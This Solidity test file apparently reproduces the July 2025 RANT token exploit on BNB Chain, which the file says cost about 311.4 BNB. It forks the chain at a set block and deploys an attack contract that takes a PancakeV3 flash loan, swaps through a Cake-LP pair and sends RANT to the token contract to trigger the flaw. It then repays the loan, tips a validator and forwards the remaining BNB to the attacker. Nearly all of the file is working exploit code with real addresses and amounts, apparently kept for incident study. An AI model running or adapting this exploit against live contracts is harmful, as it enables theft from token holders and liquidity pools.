src/test/2025-07/RANTToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 311.4 BNB
8// Attacker : https://bscscan.com/address/0xad2cb8f48e74065a0b884af9c5a4ecbba101be23
9// Attack Contract : https://bscscan.com/address/0x1e2d48e640243b04a9fa76eb49080e9ab110b4ac
10// Created Attack Contract: https://bscscan.com/address/0xFd9267eE6594bD8E82e8030c353870fA1773F7f8
11// Vulnerable Contract : https://bscscan.com/address/0xc321ac21a07b3d593b269acdace69c3762ca2dd0
12// Attack Tx : https://bscscan.com/tx/0x2d9c1a00cf3d2fda268d0d11794ad2956774b156355e16441d6edb9a448e5a99
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xc321ac21a07b3d593b269acdace69c3762ca2dd0#code
16 
17// @Analysis
18// Post-mortem : N/A
19// Twitter Guy : https://x.com/Phalcon_xyz/status/1941788315549946225
20// Twitter Guy : https://x.com/AgentLISA_ai/status/1942162643437203531
21// Hacking God : N/A
22 
23address constant RANT = 0xc321AC21A07B3d593B269AcdaCE69C3762CA2dd0;
24address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
25address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
26address constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
27address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
28address constant CAKE_LP = 0x42A93C3aF7Cb1BBc757dd2eC4977fd6D7916Ba1D;
29address constant BNB_EVE = 0xD3b0d838cCCEAe7ebF1781D11D1bB741DB7Fe1A7;
30 
31contract RANTToken_exp is BaseTestWithBalanceLog {
32    uint256 blocknumToForkFrom = 52_974_382 - 1;
33 
34    function setUp() public {
35        vm.createSelectFork("bsc", blocknumToForkFrom);
36        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
37        // fundingToken = BSC_USD;
38 
39        vm.label(RANT, "RANT");
40        vm.label(wBNB, "WBNB");
41        vm.label(BSC_USD, "BSC-USD");
42        vm.label(PANCAKE_V3_POOL, "PancakeV3Pool");
43        vm.label(PANCAKE_ROUTER, "PancakeSwap: Router v2");
44        vm.label(CAKE_LP, "0x42a9_Cake-LP");
45        vm.label(BNB_EVE, "Validator : BNBEve");
46    }
47 
48    function testExploit() public balanceLog {
49        AttackContract attackContract = new AttackContract();
50        attackContract.start();
51    }
52 
53    receive() external payable {
54        // Handle the received funds
55    }
56}
57 
58contract AttackContract {
59    address attacker;
60    uint256 borrowAmount = 2_813_769_505_544_453_342_436;
61 
62    constructor() {
63        attacker = msg.sender;
64    }
65 
66    function start() public {
67        IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(
68            address(this), 0, borrowAmount, hex"00000000000000000000000000000000000000000000009888e5694d8ba9c4e4"
69        );
70    }
71 
72    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
73        IWBNB(payable(wBNB)).approve(PANCAKE_ROUTER, type(uint256).max);
74        IPancakePair(CAKE_LP).swap(
75            0,
76            96_605_739_642_631_517_916_080_650,
77            address(this),
78            hex"00000000000000000000000000000000000000000000009888e5694d8ba9c4e4"
79        );
80 
81        IERC20(RANT).transfer(RANT, 10_733_970_071_403_501_990_675_973);
82 
83        // console.log("Received funds in AttackContract: %s", address(this).balance);
84        IWBNB(payable(wBNB)).deposit{value: address(this).balance}();
85 
86        IWBNB(payable(wBNB)).transfer(PANCAKE_V3_POOL, borrowAmount + fee1);
87 
88        uint256 withdraw = IWBNB(payable(wBNB)).balanceOf(address(this));
89        // console.log("Withdrawn from wBNB: %s", withdraw);
90        IWBNB(payable(wBNB)).withdraw(withdraw);
91        // console.log("Withdrawn from wBNB: %s", address(this).balance);
92 
93        //???
94        (bool success,) = payable(BNB_EVE).call{value: 0.1 ether}(""); // Send all BNB to the validator
95 
96        (bool success2,) = payable(attacker).call{value: address(this).balance}(""); // Send all BNB to the attacker
97    }
98 
99    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
100        IWBNB(payable(wBNB)).transfer(CAKE_LP, borrowAmount);
101    }
102 
103    receive() external payable {
104        // Handle the received funds
105        // console.log("Received funds in AttackContract: %s", msg.value);
106    }
107}